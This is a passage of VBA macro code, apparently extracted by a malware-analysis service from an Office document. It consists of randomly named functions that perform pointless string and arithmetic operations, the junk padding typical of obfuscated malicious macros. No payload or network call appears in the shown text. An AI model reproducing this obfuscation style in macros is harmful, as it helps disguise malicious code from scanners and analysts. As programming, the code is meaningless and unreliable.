    ISmASc = "iFBBsVEJKtckSGoU"
End Function



Function OhKdXE(vPQeuZU As Integer, aSlYSLl As Boolean) As String
    RbeZGKgp = UCase("C #x  iI") + RTrim(" vK cm M DV c")
    LRpuOSNftoBV = 89 + 96 + 42
    XWfiJTrl = Left("tGcyfJ%)", 3) + LTrim("jwBe ? !FaCXVOWd Zd ")
    HIFqWUQZHR = UCase("  J YDbuFm H$YR") + RTrim(" PZvqLJPfrC ]a(")
    FtYzpuUvb = UCase(" ]n   Ai vVK") + RTrim("GRg^ ^M T -KwU ")
    cnnCrJJcZXJ = 42 + 43 + 71 + 91 + 45 + 92
    

    RxLKSEZ = Right("CCpy[   .ME(SJ", 2)
    VbmrQr = Space(17) + Left("s. #%-   ] fgPxaq", 3)
    hiqSF = Right("]!B e(", 4)
    sNUazZvb = UCase("A-xDsR") + RTrim("^_  &@ $Te ")
    sNUazZvb = Left("RGdh^ mu#  Sw @ ViK", 4) + LTrim("$jDqM")
    For UVCcOZ = 2 To 3
        While LEhxAT < 3
            YcnwekAg = Space(14) + Left("ggeL Walpe S z(", 5)
            xIfkLECxe = RTrim("LU )w (a") + UCase("sGXsXSME")
            NEyoL = LTrim("q% _rk")
            LEhxAT = LEhxAT + 1
        Wend

        GgDqnYhcebP = RTrim("yXFRw") + UCase("tGlk hxGv yjnzu dQ-@")
        wHrQKuL = Left("x O  ?&[ ypLt-", 3) + LTrim(" Eh^HE")
        NEyoL = 73 + 74 + 25 + 30 + 43 + 36
        YcnwekAg = UCase(" yPAVr%IJ^(") + RTrim(" mAlO EZu ^t W")
    Next UVCcOZ

    

    VbmrQr = RTrim("bi fN q ") + UCase(" f l mmbDyP( ld boHI")
    

    VauCgDHqWG = 19 - 8 - 2
    OhKdXE = "cGJCLEbuqyeyTaynF"
End Function



Function zAzXLb(QBLBLvW As Double, HMHwfOq As Double) As String
    UMrkFsNsPP = 28 - 28
    

    HvoGprPVL = Right("aSRVf TYZ", 3)
    bnEPWLAMcM = LTrim("vRMl)AOv^oUX    ")
    uhsyOxiQfhq = 19 - 12
    ZhPUgTKTPEko = UCase("  H!h hW h(B mRJvNR") + RTrim("UBWhYCy _[c?ys")
    HIFqWUQZHR = Right(" NB A!bc_ IyHODr ", 4)
    ZOJDGB = 93 - 34 - 63 - 84 - 4
    NEyoL = Left(" XSGxMO yE", 3) + LTrim("@?vz  eH.")
    vlgHhmyE = UCase("pq  ^ H? MB  oc ") + RTrim(" cb L^^rBWgyKyb RO")
    NEyoL = 0 - 42 - 10 - 21 - 62 - 33
    UMrkFsNsPP = LTrim("Wm!xd(l%A  a (# )p")
    While tqHonp < 3
        While geCMGo < 1
            VbmrQr = RTrim(" Eu& t@  FBOP") + StrReverse(" QxD cjFCrtL .kWX Hn")
            gnOrAmIHuL = LTrim("_iHvuc@C[.Zp#?V%gSKf")
            XWfiJTrl = Space(17) + Left("]r  YZv f@X g  eI-", 2)
            

            geCMGo = geCMGo + 1
        Wend

        YcnwekAg = LTrim("EF xQ  c")
        YtWLpy = Right("S _Nep ", 4)
        YcnwekAg = Left(" %xwG( HP", 2) + LTrim(" M am_G!K)dQb)")
        UMrkFsNsPP = LTrim("v.zS a")
        HIFqWUQZHR = 19 + 86 + 62 + 91 + 54 + 12
        tqHonp = tqHonp + 3
    Wend

    VbmrQr = Left("_ laU", 4) + LTrim("uZldlQ]F ")
    NEyoL = 85 + 54 + 6 + 99
    hxshGVEREIoq = RTrim("O ( wr%") + StrReverse("i&K kx#i ")
    zAzXLb = "DAVWuMCeUVHqWjjg"
End Function



Attribute VB_Name = "Module7"

Function ljdPQl(FdSRXFp As Boolean, vDKCtMc As Integer, KcVrkfB As Boolean) As String
    sNUazZvb = UCase("P S eVZ?kra") + RTrim("L WOMgT%W!")
    fvdvdndxMAM = Space(1) + Left("k %]vB_OK]IrV?C sa )", 4)
    

    

    For kWTscP = 2 To 3
        While bfrees < 2
            uhsyOxiQfhq = 46 - 74 - 26 - 11 - 7
            xIfkLECxe = Right("A Ozj", 3)
            RxLKSEZ = 32 + 27 + 11
            VbmrQr = RTrim("  w^AwlX.u $wkzG J") + StrReverse(" y  B Ep")
            bfrees = bfrees + 2
        Wend

        UMrkFsNsPP = Space(15) + Left("fx zj  X kwVJpJ", 4)
        VbmrQr = Right("H] L  fuJC#]ReuiYfg", 3)
        YtWLpy = UCase(" q @ Nb_") + RTrim("uLSmP cyxqj")
    Next kWTscP

    HEArYiXwOvHG = Space(13) + Left("a Ly P", 3)
    FtYzpuUvb = RTrim("sm oURIGIGi  ?Ne]M") + UCase(".e . Gt&")
    NEyoL = 40 - 88 - 4 - 12 - 25
    gnOrAmIHuL = LTrim("]  .JS)eU(Epd ")
    RxLKSEZ = RTrim(" hDWZ %aC StQ]mAhm") + StrReverse("]veizJ ")
    vlgHhmyE = RTrim("i]LyP") + UCase("gf ? V ")
    YcnwekAg = RTrim("Co L F sN% d") + UCase("DC o sFQr")
    JhEsYyzqr = Space(5) + Left(" )Tq B w JD  YrNA", 4)
    

    

    ljdPQl = "YUpuZoFGINWIwGR"
End Function



Function DoUlEI(DrGFoL As String, ivCqzm As Double, MkrpvO As String, sVoKam As String, IhaFhSA As Boolean) As String
    hxshGVEREIoq = RTrim("   PkrEh& RV@EpC%b") + StrReverse(" r # Q]")
    PyORBGLg = 51 + 31 + 44 + 86
    For LIRVDl = 2 To 3
        While vQbSbe < 1
            lgeSdAIjizTf = UCase("OU  # PrdAd]@PP Gp") + RTrim("p y&e")
            

            uhsyOxiQfhq = Right(" YBUI e RX%oPu t", 3)
            vQbSbe = vQbSbe + 2
        Wend

        YtWLpy = 2 - 93
        XUNVBaIhFx = Right("  -._ Ve q X -", 5)
        vlgHhmyE = RTrim("BUku ?q $ I") + StrReverse("ld PKZKd  ] nzlK&")
        WXBSnPKYDoaC = LTrim("V  gx()fRVP_$ U]xX")
        CTNZLtNMHSOD = Right("w ^wozmmlj csA", 5)
    Next LIRVDl

    UMrkFsNsPP = Left("ms PC d&w   l xR] ", 3) + LTrim("C&BBNqi Gp WXe ")
    While EyxZVM < 4
        For aOnugl = 2 To 9
            HIFqWUQZHR = LTrim("ZD Vd .g O E Hd")
            

            vlgHhmyE = Space(1) + Left("r WAsw?EH", 3)
        Next aOnugl

        hiqSF = Left("  % XS lhg  d a WHsh", 4) + LTrim(" OK$_n u.SOH")
        vlgHhmyE = Right("Eorlz  RMf ", 5)
        HvoGprPVL = RTrim("ApPI_%)  ]!Szb") + UCase("NP YifOt?PFtwV TCWe ")
        HEArYiXwOvHG = LTrim("(rWnz fP")
        EyxZVM = EyxZVM + 2
    Wend

    gnOrAmIHuL = RTrim("#TMb%-zHYgEdqd  e ") + StrReverse("phgb  g -SCs LU")
    For mTYXVL = 2 To 4
        For KfIbsi = 2 To 9
            

            bnEPWLAMcM = 24 + 19 + 59 + 9 + 77
            LRpuOSNftoBV = Right("@I#Q ] T#  (t$  x", 5)
            RbeZGKgp = Space(4) + Left("sU  Z", 4)
        Next KfIbsi

        fvdvdndxMAM = 26 + 24 + 73 + 70 + 52 + 26
        

        xIfkLECxe = LTrim("  &Zd CNb YI")
        gnOrAmIHuL = 68 + 10 + 21
    Next mTYXVL

    xIfkLECxe = 56 - 14
    VauCgDHqWG = RTrim("N Bxz.NZ SGm^nIkgt f") + UCase("Q(AsUhQah")
    WXBSnPKYDoaC = RTrim(" vQbI") + StrReverse("KX-i(L%LBUH[X Aqrvv")
    ZhPUgTKTPEko = RTrim("ul %  Q A H nmWM") + UCase("tG GNj hS%T .l")
    YcnwekAg = 36 + 52 + 92 + 5 + 20
    VauCgDHqWG = RTrim("G^ qO$L GS") + UCase("!  gwJ@QN O  b ")
    NEyoL = 79 - 59 - 26 - 17 - 35 - 33
    sNUazZvb = Left("Cqvw lj va", 2) + LTrim("  )r  Fw %")
    FtYzpuUvb = RTrim("s pHEUQ") + UCase("J.Hgcu")
    

    HIFqWUQZHR = RTrim("KZ -))-o CRTA g yZ! ") + StrReverse("  msIV!gu[]e [ QdtT]")
    XUNVBaIhFx = UCase("$ naN  G a Dg$j( Q") + RTrim("   KwzSnoh$EJ")
    uhsyOxiQfhq = Left("EdD e O St", 3) + LTrim("nn bDTF& ]D")
    DoUlEI = "AedHUUtKNNmiIsCAEFAH"
End Function



Sub dtfUTe(dXzFSEX As Integer, CItMBxN As Boolean, wETIed As Integer)
    LRpuOSNftoBV = 79 + 71 + 70 + 36 + 59
    JhEsYyzqr = LTrim("S%lZ ( J exV")
    bnEPWLAMcM = Left("g_)_Rj AYoWsR", 4) + LTrim("C n Kp$ @GrNl@   p ?")
    XUNVBaIhFx = Left("hp  J", 2) + LTrim(" kM ZlinW)m  fI t")
    FtYzpuUvb = Right("  ezTC]Krga", 3)
    uhsyOxiQfhq = RTrim("  cdN X bMPPIAxq-v") + UCase(" mUof p  [ E-d%jr")
    JhEsYyzqr = 65 - 34
    JhEsYyzqr = 82 - 38 - 1 - 54 - 39
    HvoGprPVL = 33 + 59 + 70
    fvdvdndxMAM = 70 + 45 + 85
    XWfiJTrl = Left("VqGr ", 3) + LTrim("l)R . b^- Wt&Nig")
    JhEsYyzqr = UCase("n   S . rAe)K[u K[") + RTrim("^S U^S^t$HQ  Ox")
    XWfiJTrl = RTrim("   xH g") + UCase("TDb [m!)K)-&C")
    GgDqnYhcebP = 69 - 65
    bnEPWLAMcM = Right("Q q  n- g- #[ $aW&", 3)
    YtWLpy = 89 + 65
    YtWLpy = Left("ZqP B k", 2) + LTrim(" WdnC")
End Sub



Function EICuHz(LxRJXq As Integer, TcgwrO As Integer, mfuBnJH As String, CEEEGh As Integer) As String
    NEyoL = LTrim("eX  a?A! %vX ")
    YtWLpy = RTrim("@W  js[I E [zETQ") + StrReverse("XH  OH@ cV#hV% l?dg")
    cnnCrJJcZXJ = UCase("MMHsz  )xLv@#Jqyb") + RTrim("Lhx etOIH&   E Z")
    WXBSnPKYDoaC = 71 - 55 - 44 - 58 - 29
    For lOpCQl = 2 To 7
        GgDqnYhcebP = RTrim(" g   KAwsR") + UCase("KL n^wRN a")
        

        

    Next lOpCQl

    LRpuOSNftoBV = RTrim("@vA%_ l_") + UCase("U )JMH[@iJ  ijK ^")
    While mtuQDA < 3
        

        FtYzpuUvb = 24 + 62
        

        VauCgDHqWG = Space(4) + Left("LvysuwJ .qjvCyyjOY  ", 4)
        NEyoL = 74 + 5 + 78 + 26
        mtuQDA = mtuQDA + 1
    Wend

    vlgHhmyE = RTrim("uxZUS  Cc  ") + UCase("q%DAw&i(QGb (h W_")
    

    HEArYiXwOvHG = RTrim(" LsTtjKz  mqYq &") + StrReverse("^h Gcvuvmvrrg X OoK")
    VbmrQr = Space(13) + Left("##Os_", 5)
    RbeZGKgp = Right("n^ Ts(", 4)
    HvoGprPVL = Right("V iZnB ", 2)
    HEArYiXwOvHG = UCase("ZB CH") + RTrim("B c  R %d K")
    ZhPUgTKTPEko = Space(5) + Left("Xq QEx U     u iDD", 2)
    EICuHz = "gdBkkvZGsbwNTcV"
End Function



Attribute VB_Name = "Module8"

Function tklpDt(odElQQ As Boolean) As String
    VauCgDHqWG = Left("ZW .[ @p", 3) + LTrim("s$ UB) k q #sG] L")
    GgDqnYhcebP = RTrim("(_Hr%e  Ud") + UCase("p L  ")
    sNUazZvb = Right(")xz%s!y  bPz $a&XFqY", 3)
    ZOJDGB = RTrim("- CFaZ  r  ILbo% ") + UCase("$)H q ")
    xIfkLECxe = RTrim(" [ yW#D  ") + StrReverse("YLNqEP# [ns@hq%VEo")
    Rfniaand = LTrim(" P   mSh zl$Jf hfO Y")
    lgeSdAIjizTf = Left("![P#l^tB", 4) + LTrim("JU$%a% RMLZw B")
    RxLKSEZ = RTrim("$_Ux Q@N&  E c&") + StrReverse("t[SNM^ns-)&x ")
    YtWLpy = RTrim("fEl!zD L ]") + StrReverse("x   )  u)X")
    JhEsYyzqr = 17 + 81 + 29
    

    RbeZGKgp = Space(17) + Left("%t _ LVgDJEgr", 4)
    For wtMNiy = 2 To 8
        JhEsYyzqr = LTrim("g]H$bkeu( ?aQppW dp ")
        FtYzpuUvb = 100 + 52 + 93 + 60
        ZOJDGB = Space(10) + Left("S]gse  mf  #[xxZR", 4)
    Next wtMNiy

    While KicVuB < 5
        

        bnEPWLAMcM = UCase("&lNP f% ") + RTrim("q@T  Pf ")
        vlgHhmyE = Space(19) + Left("r  T%v_zb", 4)
        RbeZGKgp = UCase("QoOu KUb QFA#  LJ .") + RTrim("    li")
        KicVuB = KicVuB + 1
    Wend

    While QMchHo < 3
        While ZZqajA < 2
            sNUazZvb = Right("y  _ txQ E", 5)
            hxshGVEREIoq = UCase(" V g^-YD^Mb#!BT-") + RTrim("XN_pJt  dQ^rAUA &o")
            

            cnnCrJJcZXJ = Space(16) + Left(" s&uPbX", 5)
            fvdvdndxMAM = LTrim("ix _%Y YIr")
            ZZqajA = ZZqajA + 3
        Wend

        

        ZOJDGB = 66 - 20
        GgDqnYhcebP = RTrim("j z wCE.PC[ .&APnv") + StrReverse("lC   ^ PbM     vyx]")
        QMchHo = QMchHo + 2
    Wend

    sNUazZvb = 5 + 64 + 36 + 59 + 75 + 82
    

    JhEsYyzqr = LTrim("RRmwM")
    GgDqnYhcebP = Left("m&gaiO j]X  ", 2) + LTrim("  yN pu")
    ZOJDGB = Right(" $m O-P   AyBkQm$so", 5)
    tklpDt = "AVniSEBQerfieNPsvOrR"
End Function



Attribute VB_Name = "Module9"

Sub pZtGpZ(vCDEnB As Boolean, QVdfmeC As Integer)
    cnnCrJJcZXJ = UCase(")CN!u W gvVdTk!aE)") + RTrim("_o FcrL% Z!  R?CrI$O")
    hiqSF = LTrim(")z Uq")
    NEyoL = 31 + 62 + 7 + 16
    wHrQKuL = Space(16) + Left("J xFrgy", 3)
    

    vlgHhmyE = Space(8) + Left(" #DUV( ycO C", 3)
    vlgHhmyE = UCase("N  [gY") + RTrim(" HoVX$ WnI")
    hxshGVEREIoq = RTrim("FiaV!!d b & # y") + UCase(" ]A$.aEV n byF.")
    lgeSdAIjizTf = RTrim("qJv%J EWH k") + StrReverse("TP sDWjjuqQlt(g R")
    YcnwekAg = LTrim("L _KuDeahBhp  cXx")
    While RgwaUV < 4
        PyORBGLg = RTrim("tR] yrV  NA)b ") + StrReverse("cuBS[(GF")
        gnOrAmIHuL = LTrim("Xa YL(St   [ ")
        XWfiJTrl = Left("M%N y[H uO&U   g #F ", 4) + LTrim("  O Nm sNcQkBvAY")
        RgwaUV = RgwaUV + 1
    Wend

    CTNZLtNMHSOD = UCase("F.dXA") + RTrim("HVDAKfWPFlZoxwq ")
    YcnwekAg = Right("(D  R A(S fT mzY)", 2)
    For cMgoUb = 2 To 3
        For EUOwli = 2 To 10
            YcnwekAg = 62 + 2 + 49 + 96
            NEyoL = Right("%m- gGEgb ", 5)
            LRpuOSNftoBV = RTrim("bYSGHz  S% bm]ES") + UCase("K$xVOc")
            RxLKSEZ = RTrim("smBorK oBgO") + UCase("R Z b  BD@Q  kHJkW!")
            

        Next EUOwli

        HvoGprPVL = Left("b G  FFpFMOd)dSy rO", 5) + LTrim("  J H l?x[ H")
        wHrQKuL = Right("QLQ [V( ", 3)
        wHrQKuL = 38 - 61 - 53 - 87
    Next cMgoUb

    While BrRTmV < 2
        For fUucsN = 2 To 9
            JhEsYyzqr = UCase("Zsj Qe  [q") + RTrim("S e]jMSY$ d")
            HEArYiXwOvHG = Left("   &X)XR", 4) + LTrim("kUa^L[^ i EGh")
            YcnwekAg = Right("EbP lM wg y h C( ", 4)
            ZhPUgTKTPEko = Left("Q m @ Z", 2) + LTrim("I adr")
            lgeSdAIjizTf = RTrim(" !SWe - L!qdxbK") + StrReverse("R)RWFwLeViT(VU")
        Next fUucsN

        cnnCrJJcZXJ = Left(" BO EPjKUG", 2) + LTrim("%kDvseClI %T @%mC$")
        vlgHhmyE = UCase(" [RW zy") + RTrim("zvc gM Im")
        WXBSnPKYDoaC = 50 - 48 - 57 - 67 - 90 - 95
        BrRTmV = BrRTmV + 1
    Wend

    wHrQKuL = 79 + 40
End Sub



Sub iwBXlM(bwgTLA As String, sDsQaFq As String, KNPxXV As Double)
    lgeSdAIjizTf = Left("&k KFdQtu!vh", 3) + LTrim("H  _uWv^")
    PyORBGLg = 22 - 21 - 8 - 25 - 89 - 44
    For juIoUo = 2 To 5
        For vzTzwy = 2 To 10
            HIFqWUQZHR = Left(" Bn?.wufr x ", 3) + LTrim("n Ixg_ Xq_ WY")
            CTNZLtNMHSOD = LTrim("nyq%V ZUMp  xFvk   z")
            gnOrAmIHuL = UCase("P XdO") + RTrim("LyMWR-mz")
        Next vzTzwy

        cnnCrJJcZXJ = Space(19) + Left("dMx wc  ", 2)
        NEyoL = 31 - 100 - 15 - 100 - 53
        sNUazZvb = UCase("yH-hzMn. tV?pt CrLs") + RTrim("G. D&(v(vNRiID ")
        JhEsYyzqr = LTrim("MLn g m m")
    Next juIoUo

    For EkwdGD = 2 To 5
        While vMgxMn < 1
            PyORBGLg = 31 - 81 - 40 - 58 - 12
            CTNZLtNMHSOD = UCase("i_v@EsSXTuIgz^(G") + RTrim(".vW ZRq t g")
            ZhPUgTKTPEko = UCase("DM f(SI ") + RTrim(" z FpGE e ! q[")
            sNUazZvb = 90 - 35 - 65 - 26
            vMgxMn = vMgxMn + 1
        Wend

        VauCgDHqWG = 49 + 83
        HIFqWUQZHR = RTrim(" Ej( E^o-na ") + UCase("@v[   --nC [) U IAA-")
        CTNZLtNMHSOD = Space(2) + Left("fk  TL RTxm  ", 3)
    Next EkwdGD

    PyORBGLg = RTrim(" Q.^Bm RnE)F K)") + UCase(" LVHT[YB.zx")
    sNUazZvb = UCase("xh Gnc bu") + RTrim("jAcaj.  T&q ! S")
    RxLKSEZ = Space(8) + Left(")#AoY aTy@C[c] .lW] ", 3)
    While seyard < 4
        While aKLpXG < 5
            uhsyOxiQfhq = 30 - 41 - 66 - 20 - 29 - 26
…

Open this report in the interactive analyzer, or submit your own file for analysis.